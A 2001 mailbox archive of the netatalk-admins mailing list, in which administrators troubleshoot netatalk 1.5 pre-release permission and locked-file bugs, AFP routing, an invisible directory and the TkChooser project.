--------------A092CD17B548839CE10865E3
Content-Type: text/x-vcard; charset=us-ascii;
 name="mht.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for testing roaming
Content-Disposition: attachment;
 filename="mht.vcf"

begin:vcard 
n:Temple;Matthew
tel;cell:617/512-2216
tel;fax:617/632-4012
tel;work:617/632-2597
x-mozilla-html:FALSE
url:http://research.dfci.harvard.edu
org:Dana Farber Cancer Institute
adr:;;44 Binney Street,  Smith 345;Boston;MA;02115;USA
version:2.1
email;internet:mht@research.dfci.harvard.edu
title:Director,  Research Computing
x-mozilla-cpt:;1
fn:Matthew Temple
end:vcard

--------------A092CD17B548839CE10865E3--


From netatalk.administrators-errors@umich.edu  Wed Mar 14 10:59:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA29880
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 10:59:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13459
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 10:59:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13329
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 10:59:28 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA12146
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 10:59:23 -0500 (EST)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id EAA02524;
	Wed, 14 Mar 2001 04:58:40 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AAF4A32.2CA4CFA8@univrel.pr.uconn.edu>
Date: Wed, 14 Mar 2001 05:38:42 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
CC: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: Pre 4 and 5
References: <Pine.LNX.4.30.0103130716140.19591-100000@www.molbio.wisc.edu> <3AAE209C.AC477DFA@srz-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Axel Bringenberg wrote:
> 
> "Daniel E. Lautenschleger" schrieb:
> >
> > Okay, since Pre 4 and Pre 5 have issues relating to file perms and
> > copy/delete problems on RH 7, what happened after 3 to cause these
> > problems?
> 
> imho the problems are caused by a change in ./libatalk/adouble/ad_open.c
> from
>         admode = ad_mode( ad_p, mode );
> to
>         admode = ad_mode( ad_p, O_RDWR );
> Changing back to the original line solves the problem - at least for me.

Enough people have pointed this one out that I've moved it back to
"mode" in the CVS tree.

Thanks,
jeff

From netatalk.administrators-errors@umich.edu  Wed Mar 14 11:38:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 11:38:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14242
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 11:38:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14122
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 11:38:31 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA13656
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 11:38:30 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f2EGcHZ57659;
	Wed, 14 Mar 2001 11:38:17 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210100b6d54b711544@[216.155.36.73]>
Date: Wed, 14 Mar 2001 11:42:33 -0500
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: "Locked File" problems and solution?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Like most of the group knows, a few of us have been talking 
about the errors (well, that's too harsh, anomalies) with locked 
files and permissions.

	My company's new server is a Dell running Red Hat Linux 
version 7.0 (with liberally applied patches).  When I installed the 
RPM for Netatalk 1.5pre5, I kept getting an error whenever I dropped 
a file onto a netatalk directory.  The error would say that I didn't 
have the proper permissions.  But then the file would be created on 
the server with a size of 0 bytes.  Another error was "Cannot create 
because this file is locked" and the same thing would happen.

	So I removed 1.5pre5 and installed 1.5pre4
	Same problem.
	Then I removed 1.5pre4 and installed 1.5pre3
	Same problem.

	So I installed the RPM for 1.4.99-0.20001108.  Everything 
looks like it's working so far.  So this might solve the problem, or 
at least fix it temporarily until we can figure out what is wrong 
with 1.5pre5 .

	What happened between 1.4.99-0.20001108 and 1.5pre3 that did 
this?  Is it only happening on machines running Red Hat Linux 7.0?

	Ryan
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Wed Mar 14 11:44:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01176
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 11:44:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25370
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 11:44:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25331
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 11:44:47 -0500 (EST)
Received: from vampire.lavielle.com (vampire.lavielle.com [194.64.21.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25271
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 11:44:45 -0500 (EST)
Received: from mail.bauer.com ([194.233.182.111])
	by vampire.lavielle.com (8.9.3/8.9.3) with ESMTP id RAA07307
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 17:44:44 +0100 (MET)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP id ED4B75D2
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 17:44:38 +0100 (MET)
Sender: root@hbv.de
Message-ID: <3AAF9FF7.22F3CA61@hbv.de>
Date: Wed, 14 Mar 2001 17:44:39 +0100
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.74 [de] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Routing ? 
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA01176

Hi Folks !
I got some networks in our LAN. 
My Client is in 172.28.28
My netatalk Server is in 172.28.27

They can“ t see each other... All other IP-Services between those two
nets are routed, ping works, traceroute works, samba, and so on.
I have configured AFP over TCP/IP. What I have to do, to let the
clients see the AFP Server, if it is another network ??

If server / client is in the same net, all services can be reached...
I think, I am having no routing problem, because AFP goes over TCP/IP...
But where is the problem ??

Thank you !

From netatalk.administrators-errors@umich.edu  Wed Mar 14 11:54:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01361
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 11:54:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03697
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 11:54:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03683
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 11:54:53 -0500 (EST)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA03619
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 11:54:51 -0500 (EST)
Received: from [216.64.45.172] (helo=[192.168.99.123])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14dEWn-0002wz-00; Wed, 14 Mar 2001 09:53:37 -0700
Date: Wed, 14 Mar 2001 11:46:36 -0500
From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: Ryan McBeth <ryan@mobiusnm.com>
cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: "Locked File" problems and solution?
Message-ID: <1022885466.984570396@[192.168.99.123]>
In-Reply-To: <v04210100b6d54b711544@[216.155.36.73]>
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



--On Wednesday, March 14, 2001 11:42 AM -0500 Ryan McBeth 
<ryan@mobiusnm.com> wrote:

>	 What happened between 1.4.99-0.20001108 and 1.5pre3 that did this?  Is
>	 it only happening on machines running Red Hat Linux 7.0?

No, it happens on FreeBSD 4.2 as well...

Chad

From netatalk.administrators-errors@umich.edu  Wed Mar 14 12:01:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA01640
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 12:01:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14061
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 12:01:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14036
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 12:01:35 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA13977
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 12:01:33 -0500 (EST)
Received: (qmail 22079 invoked by alias); 14 Mar 2001 17:01:39 -0000
Received: (qmail 22063 invoked by uid 0); 14 Mar 2001 17:01:38 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 14 Mar 2001 17:01:38 -0000
Message-ID: <3AAFA4A1.FE0B948B@potsdam.edu>
Date: Wed, 14 Mar 2001 12:04:33 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ryan McBeth <ryan@mobiusnm.com>
CC: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] "Locked File" problems and solution?
References: <v04210100b6d54b711544@[216.155.36.73]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ryan McBeth wrote:
> Is it only happening on machines running Red Hat Linux 7.0?

	Nope... All sorts of BSDs and Linuxes. :)
-- 

 Matthew Keller
 Enterprise Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Wed Mar 14 12:20:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA02119
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 12:20:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18243
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 12:20:02 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18202
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 12:20:01 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA18098
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 12:19:59 -0500 (EST)
Received: (qmail 20540 invoked by uid 500); 14 Mar 2001 17:20:02 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 14 Mar 2001 17:20:02 -0000
Date: Wed, 14 Mar 2001 11:20:01 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Try this one...
Message-ID: <Pine.LNX.4.30.0103141116400.20402-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


ftp://mirror.sit.wisc.edu/pub/linux/distributions/redhat/beta/wolverine/en/powertools/i386/RedHat/RPMS/netatalk-1.5pre2-4.i386.rpm

I have no clue where this "pre2" came from, but it works well on my RH 7
box.

-Dan



From netatalk.administrators-errors@umich.edu  Wed Mar 14 12:37:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA02434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 12:37:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA15687
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 12:37:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA15627
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 12:37:19 -0500 (EST)
Received: from clavin.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA15324
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 12:37:16 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by clavin.interaccess.com (8.10.2/8.10.2) with ESMTP id f2EHbA113293;
	Wed, 14 Mar 2001 11:37:10 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 14 Mar 2001 11:36:22 -0600
Subject: Re: TkChooser development 
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
CC: <netatalk-devel@lists.sourceforge.net>,
        Ethan Gold <etgold@cs.columbia.edu>
Message-ID: <B6D50836.12E0A%bucky@interaccess.com>
In-Reply-To: <B6D4F753.12E03%bucky@interaccess.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Ethan Gold was kind enough to respond to my inquiry about his TkChooser
package. I thought some of you might be interested in what he has to say.
And thankfully, he's permitted me to forward our discussion. I hope that
will reach the right pair(s) of eyes!

-B...

________________________________________________________________
absolutely, bruce.
I've posted there in the past, but it's been a couple years now.
I'd love to get that problem finally solved.

    -E


 ---------------------------------------
| http://www.cs.columbia.edu/~etgold/   |
| finger etgold@cs.columbia.edu for pgp |
 ---------------------------------------

On Wed, 14 Mar 2001, Bruce A. Burdick, Jr. wrote:

> From: Bruce A. Burdick, Jr. <bucky@interaccess.com>
> Date: Wed, 14 Mar 2001 10:24:20 -0600
> To: Ethan Gold <etgold@cs.columbia.edu>
> Subject: Re: TkChooser development
> 
> Thanks for the great reply Ethan. Sorry to hear that the project is dormant.
> Would you mind if I post this exchange to the netatalk list? Things have
> really picked up with that project; and there have been a few mentions of
> interest in a AppleShare client for Linux. I'll bet if a few of the list
> members knew a little more about your project the AppleTalk mounting might get
> resolved.
> 
> -B...
> 
>> From: Ethan Gold <etgold@cs.columbia.edu>
>> Date: Wed, 14 Mar 2001 10:46:59 -0500
>> To: "Bruce A. Burdick,    Jr." <bucky@interaccess.com>
>> Cc: etgold@apteryx.cs.columbia.edu
>> Subject: Re: TkChooser development
>> 
>> Hi Bruce,
>> I haven't worked on tkchooser much because I'm not really on a
>> mac-heavy network anymore (kinda sad about that). There is one
>> severe failing of the package: you can't mount appletalk volumes
>> with it. It works pretty well as a centralized printing client/setup
>> app for appletalk printers, and it works well for using SMB shares,
>> printers, etc. The reason it can't mount appleshare volumes is that
>> the only working appleshare client is badly designed and will not
>> let you list the available shared volumes on the server, so there's
>> no way for tkchooser to be the front-end for it. you'd just end up
>> typing a full path into a text widget, which is pointless. When that
>> gets fixed I'll finish that side of tkchooser. But the interest in
>> doing so seems very low. I've emailed the maintainer, but it's been
>> awhile.
>> as for the status of the project, let's say it's dormant rather
>> than defunct.
>> 
>> -E
>> 
>>> I've been digging for AppleShare client for Linux/BSD, and just found your
>>> site. But I noticed that a fairly busy development cycle ended a year ago.
>>> What's the status of your project?
>>> 
>>> -B...


From netatalk.administrators-errors@umich.edu  Wed Mar 14 13:08:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02993
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 13:08:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00279
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 13:08:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00227
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 13:08:35 -0500 (EST)
Received: from oxygenetic.com (oxygenetic.com [209.203.235.126])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00193
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 13:08:32 -0500 (EST)
Received: from athlon (212-100-182-4.adsl.easynet.be [212.100.182.4])
	by oxygenetic.com (8.9.3/8.9.3) with SMTP id TAA17234
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 19:08:29 +0100 (CET)
Message-ID: <028d01c0acb1$ca978390$0200a8c0@athlon>
From: "Bruno Waes" <bruno.waes@oxygenetic.com>
To: <netatalk-admins@umich.edu>
Subject: invisibel directory ?
Date: Wed, 14 Mar 2001 19:08:35 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

on the linux box, in a directory that is a netatalk volume, i have two
directories, owned by the same user, both directories have the same
permissions ... and both have a couple of .txt files in them.

when i look at the volume from a mac, i can only see 1 of these two
subdirectories ????

i restarted netatalk, i removed the .AppleDouble directories (in the
subdirectory that isnt visible on the mac no .AppleDouble directory gets
created ...) but with no luck, one of these two similar directories is not
visible to the macs ...

any ideas ?


From netatalk.administrators-errors@umich.edu  Wed Mar 14 13:23:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03382
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 13:23:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26555
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 13:23:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26534
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 13:23:16 -0500 (EST)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA26454
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 13:23:13 -0500 (EST)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA01976;
	Wed, 14 Mar 2001 20:29:53 +0100
Message-ID: <3AAFB76D.6C6A12AF@i-clue.de>
Date: Wed, 14 Mar 2001 19:24:45 +0100
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Bruno Waes <bruno.waes@oxygenetic.com>
CC: netatalk-admins@umich.edu
Subject: Re: invisibel directory ?
References: <028d01c0acb1$ca978390$0200a8c0@athlon>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Bruno Waes schrieb:
> 
> on the linux box, in a directory that is a netatalk volume, i have two
> directories, owned by the same user, both directories have the same
> permissions ... and both have a couple of .txt files in them.
> 
> when i look at the volume from a mac, i can only see 1 of these two
> subdirectories ????
> 
> i restarted netatalk, i removed the .AppleDouble directories (in the
> subdirectory that isnt visible on the mac no .AppleDouble directory gets
> created ...) but with no luck, one of these two similar directories is not
> visible to the macs ...
> 
> any ideas ?

Show us the ls -lr output of those directories.

-Christoph Sold

From netatalk.administrators-errors@umich.edu  Wed Mar 14 13:30:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03671
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 13:30:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07639
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 13:30:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07627
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 13:30:37 -0500 (EST)
Received: from mail.haque.net (viper.haque.net [64.0.249.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA07589
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 13:30:36 -0500 (EST)
Received: from viper.haque.net (IDENT:mhaque@viper.haque.net [64.0.249.226])
	by mail.haque.net (8.11.1/8.11.1) with ESMTP id f2EIUVE11199;
	Wed, 14 Mar 2001 13:30:31 -0500
Date: Wed, 14 Mar 2001 13:30:31 -0500 (EST)
From: "Mohammad A. Haque" <mhaque@haque.net>
To: Ryan McBeth <ryan@mobiusnm.com>
cc: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] "Locked File" problems and solution?
In-Reply-To: <v04210100b6d54b711544@[216.155.36.73]>
Message-ID: <Pine.LNX.4.32.0103141329410.11106-100000@viper.haque.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Same problem under rh 6.2. However I've done a lot of updates and maybe
I kicked something to the version that 7.0 has.

On Wed, 14 Mar 2001, Ryan McBeth wrote:

> 	What happened between 1.4.99-0.20001108 and 1.5pre3 that did
> this?  Is it only happening on machines running Red Hat Linux 7.0?
>

-- 

=====================================================================
Mohammad A. Haque                              http://www.haque.net/
                                               mhaque@haque.net

  "Alcohol and calculus don't mix.             Project Lead
   Don't drink and derive." --Unknown          http://wm.themes.org/
                                               batmanppc@themes.org
=====================================================================


From netatalk.administrators-errors@umich.edu  Wed Mar 14 13:48:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA04196
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 13:48:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA29726
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 13:48:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA29669
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 13:48:04 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA29252
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 13:48:01 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f2EIlvZ37579
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 13:47:57 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210101b6d56e2f2eef@[216.155.36.73]>
In-Reply-To: <3AAFB76D.6C6A12AF@i-clue.de>
References: <028d01c0acb1$ca978390$0200a8c0@athlon>
 <3AAFB76D.6C6A12AF@i-clue.de>
Date: Wed, 14 Mar 2001 13:52:15 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: invisibel directory ?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Are the files or folder over 32 characters?  Could that be 
why the Mac isn't seeing them?

	Ryan

>Bruno Waes schrieb:
> >
> > on the linux box, in a directory that is a netatalk volume, i have two
> > directories, owned by the same user, both directories have the same
> > permissions ... and both have a couple of .txt files in them.
> >
> > when i look at the volume from a mac, i can only see 1 of these two
> > subdirectories ????
> >
> > i restarted netatalk, i removed the .AppleDouble directories (in the
> > subdirectory that isnt visible on the mac no .AppleDouble directory gets
> > created ...) but with no luck, one of these two similar directories is not
> > visible to the macs ...
> >
> > any ideas ?
>
>Show us the ls -lr output of those directories.
>
>-Christoph Sold

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Wed Mar 14 14:01:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04527
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 14:01:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA23615
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 14:01:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA23597
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 14:01:02 -0500 (EST)
Received: from bigglesworth.mail.be.easynet.net (bigglesworth.mail.be.easynet.net [212.100.160.67])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA23533
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 14:01:00 -0500 (EST)
